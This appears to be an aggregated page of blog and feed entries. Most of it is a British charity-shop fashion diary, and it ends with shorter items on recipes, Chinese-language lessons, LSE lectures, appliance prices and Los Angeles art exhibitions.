    We also have to pack any clothing or textiles, including bedding, away in plastic bags to avoid them becoming mildewed. If we were able to visit more frequently this would be less of an issue. So far though, it has been the only problem we've experienced and we love Ruby Super. When I return in July, I shall be applying weather protection stain to the decking and washing the outside of the caravan with a mop and bucket. Thanks to Fiona for alerting me to this - it was in the terms and conditions,  but I had completely missed it!

    -----------------------------------------------------------------------

    Are you ready for some outfit posts? Not many I'm afraid; I was too busy having a good time!


    I only managed one selfie with the selfie stick. Everything charity shopped. Cardigan; 50p at a jumble sale, top; £1.00 rail somewhere, can't remember where I bought the trousers.


    All jewellery and headscarf charity shopped.

    When OH arrived we spent a day in Derry.


    Taken outside the Guildhall in Co.Derry. Everything charity shopped except the bag; online retail and the boots; Christmas present. The mac is by Max Mara and I bought it for 4 euros at my favourite charity shop in Killybegs, Co. Donegal. I also bought a pair of brown trousers and a green and black pair of trousers there for 2 euros each and a tunic by Apricot for 3 euros. It was a chilly day in Derry hence the gloves and scarf!




    I'm standing against the wall that once surrounded the city of Derry. This plaque is in memory of all those who were killed  by weapon systems within the city and district of Derry.


    Another part of the wall. 
    OH and I had a really good rummage in the charity shops of Derry on Easter Saturday. There were nine in total that we found and only one was closed. I was quite restrained for a change (!) and bought a necklace in a hospice shop and a Desigual tunic top in the Red Cross shop; where I got discount bringing the price down from £6.00 to £4.80! On the way to Derry we stopped at Ballyboffey to have a rummage and I bought a pair of trainers and a pair of walking shoes for 99 cents each. In the Donkey Sanctuary charity shop I bought a ring for 5 euros and a couple of books.


    This picture was taken in Letterkenny, where we stopped for a meal on the way back from Derry. I have no idea what the sculpture is and there was no information about it that I could see.

     We also spent a day in Sligo where we went rummaging as well as visiting family. I bought some white jeans for 2.50 euros and a couple of bangles. I also visited another cousin and his wife in Mullaghmore, Co. Sligo before OH came out. This the view of the Atlantic from their garden:

    On that occasion my cousin's wife, Martina and another cousin Caroline, and I, went walking around the base of Ben Bulben. It was a beautiful walk and we had two dogs with us who were very well behaved throughout. 

    And other than reading, eating, sleeping, a bit of walking, listening to the radio and starting (finally) a new crochet blanket, I did very little else! 

    Only another 100+ rows to go....
    I'll post about my cousin's visit in my next post. It's good to be back!

              February is flying by        

    Hello to everyone and I hope you are all keeping warm! February seems to be flying by; we're almost half way through. January dragged.

    I went out on Sunday morning to recce Wednesday's walk. It was cold, damp and very foggy. After about three miles I realised that I couldn't see any landmarks and that the fog was getting thicker; I had to turn back. I walked 6.8 miles and was glad to get home. It stayed cloudy, cold and foggy all day.


    This is what I changed into when I got back. Everything is charity shopped. The animal print top is a 50 p rail bargain. I'm still looking for the perfect animal print shirt with long sleeves...

    I woke up on Monday with the lurgy.  Middle grandson had it last week and he'd given it to me. I have had a drippy nose, cough, aches and pains all week; I felt yucky but I went in to the Red Cross on Monday. I'm still sorting and pricing clothes; as I'm waiting for a PIN number to arrive in the post that I need to work the till. I've been allocated a special area in the shop for attention and it's the jewellery. Hooray!  I enjoy untangling necklaces and sorting out the wheat from the chaff...

    On my way home from the Red Cross, I passed the Salvation Army charity shop and on the 50 p rail outside spotted the grey checked shirt below. It was washed and ironed and I wore it on Tuesday.

    I went to the Guildhouse on Tuesday morning. More sorting and pricing of clothes and I did an hour's ironing! I don't think I've ironed for so long since my children were small and I used to do the Sunday evening marathon iron of everybody's clothes for the week...I bought an emerald green cardigan in the sale there for £1.25, but it's a little bit too big. I really wanted an emerald green cardigan so I might try and wash it on a hotter than usual wash and even tumble dry it and see if it shrinks a bit


    Everything charity shopped except the boots which were donated by my daughter (DDB).
    Red jeans and grey knitted top both by Oasis. All jewellery charity shopped. I didn't realise how bobbly the top had got....


     I went to recce the walk again on Tuesday afternoon. It was the most glorious day. The sun shone and it was so warm I had to take my jacket off; although it was very muddy, boggy and even waterlogged in places. The air was full of bird song, cheeps, calls and trills and the hum of insects. You could feel Spring in the air.

    On Wednesday, I did my walk leader's bit and for the first time decided to use my walking poles which were a birthday present from my daughter last year. I found the poles quite easy to use and they do work your upper arms and shoulders. I'm still aching days later - or is that the lurgy? 

     There were 22 of us walkers in total and all was going well. Then one of my poles decided to extend itself and I fell flat on my face! My pride was hurt but I was fine. I had mud on my scarf, mud on my jacket and mud on my trousers. My hands were covered in thick mud where I had put them out to break my fall. It's a good job I hadn't put my wrists through the loops on the poles otherwise I may have fallen more awkwardly and hurt myself. Luckily, one of the walker's had wet wipes (a woman of course - I just couldn't see any of our male walkers carrying wet wipes with them) and I was able to get most of the mud off my hands. As for the other stuff it was all put in the machine when I got home and washed.

    Everyone said they enjoyed the walk; one person said they wanted to re-walk it another day which I take as a compliment. We were lucky with the weather as the sun came out. Since last Sunday, I've walked more than 20 miles and I hope to do another 7 mile walk next Sunday if the weather holds.


    This is what I wore on Wednesday.
    The necklace was recently bought in a Devon Age UK charity shop for £2.00. The earrings were bought from Debenhams about eight years ago when they had a 'two for a fiver' offer on their costume jewellery.


    The shirt is by Punt Roma; the jeans are Laura Ashley - both charity shopped and the cardigan was a Christmas 2015 present from OH. Bangles charity shopped.


    Boots are DDB.


    On Thursday I went to spend the day with my friend Natalie in Cambridge. We had planned to look around the charity shops and go somewhere for a meal. Natalie is extremely talented at up cycling furniture and she has been up cycling my bureau which I left with her the last time I visited. When I got to her house this time it was finished!


    Isn't it lovely? She had also up cycled a very small table in the same colour and pattern which I'll put my printer on - and she recovered an upright chair in similar patterned material. My study is now a haven for me to read, crochet, listen to the radio and write my blog. I just need a very small armchair to complete it... 


    Everything is charity shopped except the boots which were a Christmas 2016 present from my daughter. The jacket is by Boden and was charity shopped in the Red Cross a few months back for £1.99. I like the pleated collar. The tunic is by Fat Face and was from the Red Cross for £1.99. For warmth,  I layered a camisole from  Lidl underneath. The jeans are from Next but can't remember which charity shop.


    All jewellery charity shopped.

    It was bitterly cold in Cambridge.
    I bought three green Virago books in the RSPCA bookshop; a picture for the spare bedroom; some glasses - we keep breaking glasses at the moment -  a pair of earrings, a necklace and a pair of ear phones for grandson all in the Salvation Army.  Note, I didn't buy any clothes! 
    Natalie picked up a three cornered children's chair and a side table on wheels; both to be up cycled.

    On Saturday, OH and I went rummaging in Northampton.  OH hadn't been rummaging for a while and was missing it; so ever obliging as I am, I went with him... We hadn't been to Northampton for more than a year. The only things I really wanted were: 1) A brown animal print shirt. 2) Another yellow cardigan - my present one is not very warm.


    Saturday was a horrible day. Grey, cold and very misty/foggy. Northampton was relatively quiet as a result of the weather. We visited 10 charity shops in total and I found nothing on my list.


    Everything charity shopped except the boots which were a Christmas present from my daughter in 2016. Knitted tunic from Esmara (Lidl), M&S jeans, top; Dorothy Perkins.


    All jewellery charity shopped.

    I bought some clothes (oh dear!); a pair of Next jeans from the £1.00 rail in the Sue Ryder shop -  and a lovely tunic which I paid £6.00 in Age UK for; as I really liked it. I also bought a necklace (£1.99) in the Heart Foundation shop and two pairs of earrings at £1.00 each in Age UK. It will be back to no rummaging next week as I'm trying to go only once a month now. It won't be too long before I go to Ireland again... I've had a blip this month because of going to Cambridge as well as Northampton, but in March, probably around my birthday I'll have another rummage in a different town. You never know I might even get taken away for the weekend somewhere!

    I believe the weather will be getting milder in the week to come so let's hope it does and that we see even more signs of Spring. I'm also hoping that the lurgy will have gone and I'll be back to my normal self - whatever that is!

              A week of spots, stripes and checks...        

    This could probably be called Day 6 of the pattern challenge! I wore this on Saturday.


    Everything is charity shopped except the floral boots which were bought on line and the earrings; bought by OH in an Oxford street market.
    The cardigan is by Next; the jeans by Laura Ashley and the top is by a Spanish company; I can't remember where I bought any of them but all have been bought since I started blogging in  November, 2015.

    I do love these boots but the heel is a little higher than usual so I can't wear them for too long. I went out on Saturday afternoon to look for a chest of drawers for my spare bedroom and after a couple of hours my feet were killing me!

    Necklace charity shopped in Donegal, I think.

    I had a look around a couple of charity shops whilst looking for a chest of drawers and I bought a sleeveless green knitted top by Great Plains for £3.00 in Keech as it was green and will be useful to wear over shirts/blouses.  A checked man's shirt for £1.00. I also bought some more padded hangers for £1.00; a leather brooch for 25p; a chinese looking purse type thing which I've used to put all my crochet hooks in for 49p; and a couple of brandy glasses. Total spend £5.94.

    I had both grandchildren on Saturday evening and on Sunday we went to visit my son.

    Day 1 - Spots, stripes and checks challenge

     I wanted to try yellow with red - yes, I like it!
    Everything is charity shopped except the boots - Christmas 2016 gift from OH.

    Plaid skirt, Topshop; bought from Save the Children; jumper by Mc and Co and camisole; charity shopped but can't remember where. Tights: on line. All jewellery except watch charity shopped.

    Day 2 - Spots, stripes and checks challenge

    Youngest grandson took the photos so they're not as good as OHs. Spotted shirt; Phase Eight. Skirt M&S; jumper, unknown - all charity shopped.


    Boots; Sainsburys. Christmas 2016 present from OH. All jewellery charity shopped, including the spotted bangle.


    Watch, New Look bought with Christmas money.
    I started at the Red Cross shop on Monday. It's very busy and there are more staff and volunteers. I think I'm going to really enjoy myself.  I bought a pair of claret coloured cord trousers as I gave my claret coloured leather and ponte knit leggings away. I got staff discount (20%) and they cost me 80p!

    On Tuesday, I thought I'd be starting at the Guildhouse. I arrived at 1pm as agreed but only had an hour's induction as they have yet to send off for references. All being well I'll be starting on the 24th...

    Day 3 - Spots, Checks and Stripes Challenge
    It may not be immediately apparent but this green top is very finely striped. It's by Tu at Sainsbury's and bought in the 3:16 Charity shop for £1.00. Necklace bought in the Salvation Army for 99p last week while doing the Lidl shopping.

    The cardigan is from Barnardo's in Ampthill and was 99p. Total cost of outfit £2.99!



    Green cords £1.00 Red Cross shop. All jewellery charity shopped except watch. Boots - DDB.

    Day 4 - Spots, Checks and Stripes Challenge
    On Wednesday I went walking with the group. We walked in Biggleswade and did 6.5 miles. The wind was very cold and stung my cheeks; I wore a hat which kept me nice and warm. I put on a striped shirt with a black V neck jumper and black pleated skirt when I got home - and  forgot to get photos done - dohh! I'm blaming the crocheting; once I start I'm like a woman possessed and forget everything else!

    So, as I missed yesterday's outfit post I've done two for the price of one - stripes and checks!
    All jewellery charity shopped.
    Linen striped shirt, crumpled as linen does, M & S, charity shopped, check cardigan (F & F at Tesco); charity shopped. Black jeans; Lidl.
    Black boots; Christmas 2014 present from my daughter.

    Day 5 - Spots, Stripes and Checks Challenge

    I bought these earrings on Thursday on a rummage in the village of Olney. They're real silver and were £3.00 in Age Concern. The necklace was charity shopped as were the bangles. I also bought a rather nice ginger coloured top with lace insets at Mercy in Action in Olney. It was £4.50 which is a bit pricey for me but I liked it so much. I hope it looks good on.

    I stopped at Barnardo's, Great Denham on the way home from Olney; I sort of wish I hadn't because I spent £6.99 on a beautiful grey linen coat. It will be lovely for the summer...


    These cords were £1.00 from Red Cross shop on Monday. I bought them because I thought I had given away my similar coloured leather and ponte knit leggings - I hadn't - I found them in my cupboard where I'd recently decanted all my trousers...


    It was really cold on Friday; hence the fur gilet from M & S; charity shopped in Donegal in the summer. We had snowfall but it was washed away by the rain. It felt too cold to go out for a walk so I'm hoping to go walking at the weekend instead. No grandchildren until Sunday night!

    The checked shirt was bought last Saturday in Keech, Kempston for £1.00. It's by Red Herring. The boots were a Christmas 2016 present from my daughter. They have a gold trim at the toe and heel and were from New Look.

    Not sure what the weekend has in store weather wise only that it's going to be cold. I've got my crocheting to get on with; I've started a new Persephone book 'The Godwits Fly' by Robin Hyde and the heating will be on so I don't care!

    Wrap up warm wherever you are!

              A week of maxis...        

    We had a lovely Christmas. Why wouldn't we? Lots of nice food, drink and presents, but most of all family.
    We always have fun at Christmas especially when we play charades after dinner. This year even the youngest grandson joined in - and loved playing it - he wasn't half bad either!


    My daughter made a delicious salmon in pastry dish. She usually makes us a Beef Wellington but wanted to do something different this year. We also had turkey and all the trimmings. It was all very good.


    Here we all are mid dinner. Some of us have finished; I've only just sat down. Just can't get everything on the table at the same time... OH is missing because he's putting his dinner in the microwave; he likes everything at nuclear temperature! Daughter is taking the photo. All three grandsons and two of my three brothers. My third brother in London was having a bachelor's 'open house' Christmas!

    I got such lovely presents. A new Paperwhite kindle, new ankle boots, perfume and a Persephone book from my daughter. New long black boots; two 'Furrowed Middlebrow' books and 2 CDs from OH. Eldest grandson bought me another Persephone book and my brothers gave me money. Didn't I do well?

    I drank Sherry, Prosecco, Canadian Club and Ginger Ale and sampled an Amaretto Sour ; courtesy of eldest grandson who mixes a mean cocktail - very moreish...


    This is what I wore on Christmas Day. Dress from the Hospice shop in Kempston; waistcoat from Zara also charity shopped. Boots; Christmas present from OH.



    All jewellery charity shopped.

    Day 1 - Maxi Challenge


    This is the skirt I bought in Barnardo's, Great Denham for £1.00.


    Cardigan and boots charity shopped.


    Green top Primarni; headscarf present from my friend in Cambridge.


    All jewellery charity shopped.

    By Tuesday I was going stir crazy. I hadn't been out of the house on Christmas Day or Boxing Day; only to drop middle grandson home so I took youngest grandson to Sainsbury's. One of the Great Uncles had given the youngest grandsons a bag of coins; when we changed it up in the coin machine it gave them £15.00 each to spend! Another Christmas present and Christmas is already over. Lucky kids!

    Day 2 - Maxi Challenge



     I tried wearing a belt with this maxi.


    Everything is charity shopped except the boots which are light brown with metal bits round the toe; a Christmas present from my daughter this year. The skirt is by Country Casuals; t shirt M&S 50p in a Donegal charity shop;  cable pattern cardigan; Red Cross shop probably, but really can't remember. Belt charity shopped about 10 years ago.


    Necklace charity shopped in the Oxfam shop; Bedford. The earrings are 99p from e bay.

    Day 3 - Maxi Challenge

    On Wednesday OH and I went rummaging. I hoped the charity shops would all be open but I guessed some wouldn't reopen until after the New Year.  We went to Hitchin, Hertfordshire, a market town, and also to Ampthill; a small market town in Bedfordshire.

    My goodness wasn't it cold! I woke up to frost everywhere and the water in the bird's' bowl had frozen. I feed the birds everyday. I'm even more vigilant during the cold weather months and always leave out drinking water. I really should have worn trousers! The temperature was -05 degrees when we set off for a rummage around the charity shops. It warmed up to 2 degrees and then dropped again by the time we got home. Out of seven charity shops in Hitchin only two were closed.

    It's hard to put outerwear over maxi skirts. I'd planned to wear my brown leather jacket but it was too cold. I wish I still  had my brown corduroy maxi coat that I bought in 1970 from Bus Stop. It would have been perfect to wear over this skirt!


    Jacket, River Island from Red Cross, £1.99; scarf, Save the Children; £1.00, beret; can't remember where.



    I've had this navy jersey type M&S skirt for about 9 or 10 years. I used to have a bottle green one, too, but ruined it by getting it caught in the wheel of my bike when I used to ride my bike to work. I also have a similar black skirt, but from BHS. All were charity shopped.

    Top by Canda - an old C & A brand; charity shopped in Save the Children, recently. Wool jacket by Gilbert; from Barnardo's, Great Denham. Boots - DDB (daughter donated boots).


    All jewellery charity shopped.


    About two weeks ago I bought yet another strand of orange beads for £1.00;  now I like to wear the three strands together!

    In Hitchin, I bought 4 pairs of earrings for £3.50 in the Hospice shop and Cancer Research; three balls of wool at 50p each; also in the Hospice shop and an animal print top for £1.50 and a knitted angel boiled egg cosy for 30p - everyone needs a boiled egg cosy, don't you know!  In Age UK, I bought a ring for £1.99. In an antique/curio shop I bought some black beads for £1.50.  Total  spend in Hitchin, £10.29 . In Ampthill; the sale was still on at Barnardo's. In fact, they had reduced quite a lot of the stuff to 49p! I bought two double sized duvet sets with matching pillowcases, each for 49p. One set was brand new - it still had the stiffening product in it that they use in new bed linen. I also bought a pair of orange and black loose trousers for 49p; a pale grey Next top for 99p; a black Next jacket - never worn, 49p; a black and white striped blouse for 99p and a pair of bootcut jeans for 49p. Total spend here £4.45. Then I spent another £1.50 in the RSPCA on two books and a new make up bag. Total day's spend £16.24.


    Go on - you know you want one!

    Day 4 - Maxi Challenge

    On Thursday I finally got out for a walk and did 6.3 miles. I hadn't walked for two weeks and was feeling both lazy and guilty. Once I started walking I was fine and realised how much I'd missed my regular walks. On Friday, there is a nine mile bus walk; I'm up for it but it is an earlyish start, and one of the things I enjoy about the holidays is there is no need to get up early. I'll just have to see how I feel on Friday morning...


    This black Next corduroy skirt is about 5 or 6 years old and was charity shopped. The striped blouse by Peepers was bought in Wednesday's rummage at Barnardo's (99p) as was the light grey Next top (99p). Boots, old; Christmas present from my daughter. Middle grandson is on the sofa with his trusty laptop - hence the trailing flex.


    All jewellery charity shopped.

    I did the usual food shopping on Thursday and the bargain of the day was a £4.00 box of Christmas crackers for 40p in Sainsbury's! They're going up  in the loft ready for next year. Sainsbury's also had lots of packs of Christmas gift tags for 10p a packet, but we still have two large unopened packs of gift tags bought in the sales last year. I also bought  a reduced tin of shortbread biscuits (£1.50) and mince pies (40p) per packet.

    Day 5 - Maxi challenge

    Friday was such a miserable, cold and foggy day. I didn't go walking but am determined to go on Saturday afternoon as there is a 6.5 mile walk in Houghton Conquest which is about 6 miles outside of Bedford.

    What I did do was to go to Bedford and spend my Christmas money. I'd already spent some of it on a fur coat on line. It's not my perfect coat; I am still looking for that one, but I needed a warm short coat. I have a Parka coat but that is a bit too casual sometimes. In Bedford I bought some perfume and soap in TK Maxx - I do love scented soap and prefer to use soap rather than shower gel. I also bought myself a new watch from New Look. Christmas money spent; I returned home to make soup and read one of my Christmas books.


    In today's maxi and long cape I felt like a Victorian governess! The pure wool cape is from Ist Avenue bought for £1.99 in the Red Cross shop. Leather gloves charity shopped.


    Maxi skirt; part of a cardigan suit charity shopped in Carrick on Shannon, Ireland. I've worn the matching cardigan separately, last seen here. Shirt and cardigan both from Red Cross shop. Boots, Christmas present from OH this year.


    All jewellery charity shopped. The earrings were bought on Wednesday in Hitchin in the Cancer Research shop.

    I'm glad the week of maxi's is finished; I can't wait to wear a pair of trousers.
    So far with these challenges, I have worn a week each of; skirts, cardigans, shirts, dresses, trousers and maxis. I don't have enough maxi dresses to do a week of those so I think I might go for a week of stripes, spots and checks for next week. In fact, I've edited this to say that I'll do a week of patterns next week and the stripes, spots and checks for the week after.

     The challenges keep me thinking of different outfits to create and helps give little worn items a wear. That in turn, helps me assess whether or not, I want to keep it and if I don't means more space in my wardrobe. I have also got rid of several clothing items this week so I'm not feeling too guilty about those I've purchased.

    What are you all doing for New Year's Eve? I've got both grandsons New Year's Eve so we'll see the New Year in with them. I'll see you all in 2017!


    I'll leave you with a look at all my lovely Christmas book presents...



              Celebrating community support        
    <p>Review Photo/Nathan Brown</p><p>The Spalding Memorial Library and the Tioga Point Museum held the annual Wine and Dine plus a Brew or Two event on Wednesday.</p>
    By Nathan BrownStaff Writer

    ATHENS — Nearly 400 people made their way through the grounds of the Spalding Memorial Library as part of the annual Wine and Dine plus a Brew or Two event on Wednesday.

    According to Library Director Tiffany Robbins-Gigee, the event is hosted as part of a joint effort between the library and the Tioga Point Museum.

    37692038

    read more


              Involtini di zucchine grigliate con philadelphia e pomodori secchi        

    DaniCucina - Il mio Diario di Cucina

    Gli involtini di zucchine grigliate sono un'appetitosa ricetta a base di zucchine, formaggio philadelphia, basilico e pomodori secchi sott'olio. Ideali come antipasto o aperitivo, gli involtini di zucchine grigliate sono un delizioso piatto estivo, facile e veloce da preparare ma davvero molto sfizioso.  E' una di quelle ricette che piace sempre a tutti, anche a [...]

    DaniCucina - Il mio Diario di Cucina


              Stick di zucchine speziati al forno        

    DaniCucina - Il mio Diario di Cucina

    Con questo caldo è un crimne accendere il forno.. Eppure sabato - con la bellezza di 29 gradi (all'ombra) e umidità, l'ho usato per prepar

    DaniCucina - Il mio Diario di Cucina


              Le repas chinois type n’est pas celui que vous croyez… - Alex        

    Bonjour Sophie,
    Ce cours est très intéressant car j'aime manger et je me demande toujours qu'est ce qu'on mange en Chine!
    J'attends avec impatience votre prochain cours!
    Cordialement


              Ecriture chinoise des idéogrammes millieu, dessus et dessous - Alex        

    Bonjour Sophie,
    Votre cour est génial, comme tout les autres! Le caractère de zhong se retrouve dans le mot Chine en Chinois, "le pays du milieu"!
    Votre changement sur les sommaires est réussie mais je vous demande si se sont toutes les même vidéos de l'ancien sommaire car j'ai fait un carnet avec tout vos cours dedans et j'ai peur d'avoir perdu un cour.
    Cordialement!


              Comment souhaiter une bonne fête de la lune - axel        

    Cher Sophie,
    j'ai 14 ans et j'ai décidé de débuter dans la langue Chinoise car elle est vraiment très très belle et je trouve la Chine vraiment belle et rempli de culture que j'adore. Au début, je croyais que c'était impossible d'apprendre le Chinois. Mais heureusement que je suis tombé sur votre site car peu à peu, j'ai trouvé que le Chinois était en fait facile. Malgré mon âge, je comprends très bien vos cours: il sont lucides, bien organisés et très simple. J'ai déjà visionné les 2tiers de vos vidéos et pour ne pas m'y perdre, j'ai mis beaucoup de notes dans un carnet. Je voulais vous remercier pour tout ces cours que vous faites. Et vous dire que, si j'aurais les moyens, j'adorerais prendre des cours avec vous! cordialement


              When Digital Becomes Human        

    There is an urgent need for an extreme transformation of the customer relationship. Customers live in a world of self service, big data, customer automation and the integration of the online & offline world. If your organization fails to implement the digital relation, your future becomes very uncertain. Succeeding in the digital transformation will not be enough. As a consequence of the digital evolution, there is also a need for the human transformation of your customer relationship. Thinking about the role of humans versus machines, thinking about the role of the warm human touch and considering the power to connect people with people, are the key challenges in this domain. ’When digital becomes human’ is a story about the combination of the digital and the human transformation in your customer strategy. This story will take you on a journey to the future. It is provocative, exciting and scary. Enjoy this amazing view on the future of marketing!
              Financial Reform in China [Audio]        
    Speaker(s): Howard Davies | In the 6th of an annual series of lectures, Howard Davies reviews the development of the Chinese financial system over the last year. He has been a member of the International Advisory Board of the Chinese banking regulator since 2003 and has observed the dramatic changes in Chinese banks at first hand. The Chinese system has been remarkably insulated from the crisis. What does that mean for the future? Will China turn its back on free-market financial reform? Howard Davies is director of LSE. Prior to this, from 1997-2003 he was Chairman of the Financial Services Authority, the single regulator for the UK financial sector, which was created under his leadership from nine separate regulatory agencies. From 1995-1997 he was Deputy Governor of the Bank of England. His latest books include The 'Financial Crisis: Who is to Blame?' and 'Banking on the Future: the fall and rise of central banking'.
              China's Financial Markets: how they are emerging as a global force [Audio]        
    Speaker(s): Howard Davies | Howard Davies, who has advised the Chinese government on financial reform for the last four years, reviews the implications of China's rise for the world's financial markets.
              RE[2]: Apple just released their new budget PC        
    $399 may be the sweet spot to get the "chumps" to call, but how much was the machine after all the upselling? I would bet that the average system went for closer to $599 or even $699.
              Melitta Caffeo Passione OT Espresso machine 1.2l Zwart        

    Normale prijs: € 799,00

    Aanbiedingsprijs: € 569,00


              Melitta Caffeo Passione OT Espresso machine 1.2l Zilver        

    Normale prijs: € 799,00

    Aanbiedingsprijs: € 519,00


              TriStar BL-4015 - keukenmachine        

    Normale prijs: € 42,99

    Aanbiedingsprijs: € 31,95


              Princess 292993 Suikerspin Machine        

    Normale prijs: € 49,95

    Aanbiedingsprijs: € 41,95


              LA Art Show 2017 PhotoJournal Interview with Chinese Artist, Si Bowen by Ginger Van Hook        
    Chinese Artist from Beijing exhibits painterly expressions of time through space.
    Photo by Ginger Van Hook©2017




    On the Opening Night of the LA Art Show 2017, the first artist to capture my eye with his painting was Si Bowen. This was not easy to do as I was carried away by the crowd at the entrance and was led through a throng of art lovers all but covering the paintings and artworks with their own presence of appreciation. The fact that we are about a week from the inauguration of a new President, it seemed fit to come across a painter with an outside perspective of our election process. Si Bowen, an artist born in Beijing, China who studied art not only in Beijing, but in France and New York, described to me that his rendering of the television debate versions of Donald Trump and Hilary Clinton were painted to describe the passage of time. Viewed as duplicate and triplicate images of Mr. Trump and Mrs. Clinton side by side on their podiums with hand gestures superimposed one over the other, yielded an out of focus picture of the debate postures from last year. That the image captured my eye because it looked politically vaguely amusing or satirical yet timely or that it expressed a unique and clever perspective was something that made me stop and want to meet the artist. The American People might agree that our process is somewhat murky when we transition from one administration to another, so the artist Si Bowen, might have captured in his painting, the unclarity of our union in mid-gesture. Nonetheless, his portfolio of non-political images was of even further interest as one of his favorites was the wonderful painterly expression and focus on his grandmother's hand. Si Bowen stated that he had studied in France as well as spent time in the arts in New York and that he started drawing at the age of three. When his father observed his talents, he enrolled him in the art schools at an early age. Some of the works that Si Bowen showed me in his catalogue were even more spiritually related than just his exploration of time and space and matters of death and spirituality. 

    Si Bowen is a multi-diciplinary artist creating works in sculpture, oil paint, and installation works. Si Bowen is represented by the LIAHONA ART SPACE representing the strong forces of young Chinese artists.

    PhotoJournal by 
    Ginger Van Hook, Photographer, Writer, Curator, Artist
    Van Hook Fine Arts, Beacon Arts Building Studio 1D
    808 N. La Brea Inglewood
    Los Angeles, California
    email: gingervanhook@gmail.com
    www.gingervanhook.com


              Luke Van Hook Paintings Now at Brand Library Galleries "Circle in the Square" Yesung Kim, Barbara Kolo, Susan Sironi, Cheryl Walker thru Sept 5th 2008        
    The Entrance to the Brand Library Art Galleries in Glendale, California hosts a prominent postcard of the show "Circle in the Square" now exhibiting through September 5th, 2008


    PHOTO-JOURNAL BY GINGER VAN HOOK


    Photo above: 
    Cathy Billings, Art Librarian and Gallery Manager of the 
    Brand Library Art Galleries and Co-Curator of 
    "Circle in the Square" selected Luke Van Hook 
    as one of the artists to show his circle paintings 
    which explore Giotto's fabled "perfect circle.
    Photo below: 
    Alyssa Resnick, Senior Library Supervisor, Gallery Director 
    and Co-curator pictured with Luke Van Hook.
    Both ladies made studio visits all over Los Angeles and surrounding communities in search of the "perfect circle" of artists to represent the illusive qualities of the circle.
    It takes over a year to prepare for a large show at the Brand Library Art Galleries and no one will have a better story to tell you about the waiting process than Galleries Manager and Curator, Cathy Billings or Alyssa Resnick, Senior Library Supervisor and Gallery Director. These ladies traveled to Inglewood, California for a studio visit to see Luke Van Hook's circle paintings some time in the early summer of 2007. They told Luke that they were preparing to curate a show of artists working on the motif of the 'circle'.  They had already reviewed a number of artists and found making the final decision difficult, first because there were a number of artists who worked with this subject and secondly, the talent was very competitive. The subject of the circle and how each artist approaches this topic is worth dedicated study in and of itself.  These lovely ladies, Cathy and Alyssa, with a keen eye for artistic talent, selected a total of five talented artists to show together this summer.   
    Here you will find photos of how each artist expressed their obsession with the circular form.  I'll begin my blog entry with a brief history of what I believe may have led Luke Van Hook to painting the circle and continue with the photos and biographical information of the additional four artists each selected for working with the motif of circles, independently of each other, with their own unique and individual interpretations of the circle: Yesung Kim, Barbara Kolo, Susan Sironi, and Cheryl Walker.
    Luke Van Hook began his present study of the circle in 2005. He first discovered the legend of Giotto's "Perfect Circle" in a class about ancient history; but the idea didn't sink in at first. He needed time to reason with his quest. While Luke approached the specific task of painting the circle with thin paintbrushes and applying layer upon layer of color to a raw naked canvas, I set about trying to understand what the hell prompted my husband to go circle crazy in the first place.  I started researching what the circle meant and I found a lot of literature in the realm of magic, rituals, mathematics, secret societies and romance. But my first impression was that the circle was a way to get back to the beginning of things.  Then I delved deeper.  Was Luke trying to say that he was going in circles?  Were we at this artistic point in our lives as a result of a past life?  Was our circular existence referencing our cycle of birth, death and rebirth?  Or was the answer more basic than that, like "the earth is round and it's an orbital thing.' There were other issues on the table I was urged to deal with also.  Were these circle paintings partly influenced by the school we had attended?  Once we leave school we are expected to make works of art that have fresh meaning and to blow out the cobwebs of old thinking.  While at Otis College of Art and Design in Los Angeles, Luke Van Hook studied all the required areas to excel in his chosen profession as a fine arts painter including the figure, landscapes and abstracts. But the abstract visual image is what finally drew Luke back in.  Could it be the understated obvious fact that the big 'O' (which formed a circle on every memo, syllabus and brochure in the name of Otis College) was influencing him subconsciously?  
    Luke's earlier work involved intricately small hatch marks that evolved into large abstract images full of vibrant colors.  This work was very reminiscent of Jasper Johns.  So where did this circle idea really emanate from?  Did his hatch marks get married or what?  Observers of Luke Van Hook's work have stated that it raises the question, 'Is it a painting or a drawing?  Is it text or writing?'  Luke will often begin a row of circles that reads from left to right just as western literature is expressed.  But sometimes he changes his mind, and the direction of his technique, and he starts to paint his rows from right to left. At other times, he completes a horizontal column of circles which refers more to ancient Asian forms of writing going from the top, down.
    During his graduating year at Otis College in 2004, Luke went on a mission to explore machine technology as it pertained to replacing humans.  He painted large canvases with a number of faces and shapes that represented cyborgs expressing the fear, uncertainty and ambivalence that humans have toward our technological future.  But once out of school, a full year later, in 2005 Luke seem to have turned a corner.  He seemed to have replaced his fear of technology with a competitive defiance that defied all reason.  Luke started working with his father-in-law, in his machine shop, where he started to observe how everything around him involved the circle in one way or another.  He watched the machines (Fadal CNC's- numerical control production machines) in action. The tool would spin in circles, plunging in and out of aluminum, stainless steel and plastic materials. The space left behind was almost always a perfect circle.  Perhaps, this was Luke's starting point. It was the first time he'd really seen a machine make simple circles and Luke probably said something to himself like 'I can do this! Just watch me!' then promptly, decided to take on his destiny. To compete with a machine, may have been the early impulse that drew Luke to paint the circle, but the legend of Giotto's 'perfect circle' was what has kept Luke going full steam ahead into production of abstract works of art.  The initial pieces he created were prototypes. These were the experiments he and his father-in-law Luis Ingels, worked on before moving into the hand made pieces. As his first experiment, Luke inserted a paint brush into the collet of the machine and programmed the coordinates to match the canvas. He overshot his calculations and the brush came crashing down upon the canvas; the collet smashed the brush right through the canvas and even broke the frame. Perhaps, Luke might have thought as he and my father, Luis, looked at each other, 'it was time to go back to the drawing board'. Undaunted by initial failure, Luke did complete an entire series of machine made circles before he went on to the main event, the competition of drawing the circles, one by one, by hand.  
    Each piece of artwork created since his first attempts, is meticulously reinvented into creative visual landscapes layering circles upon circles of color schemes in gradations of complementary hues.  The colors reveal very subtle changes.  The circles pull the eye in.  The images seem to have a life of their own, a vibrant quality of pushing the viewer to look for patterns while pulling the eyes into fishers, crevices, or 'wormholes' as one collector observed. I have witnessed the intimate evolution of Luke's circles only because I have the honor and privilege of being Luke's wife.  The fact that I am discussing my husband's art work is of significance only in the sense that it is somewhat rare, although not unheard of, for the artist's loved one to interject a provocative discussion of the artwork publicly in a blog; however, this is a sign of the times we live in today and I feel blessed as a writer to have this open forum to share with you the joys and struggles inherent in Luke's artistic process.
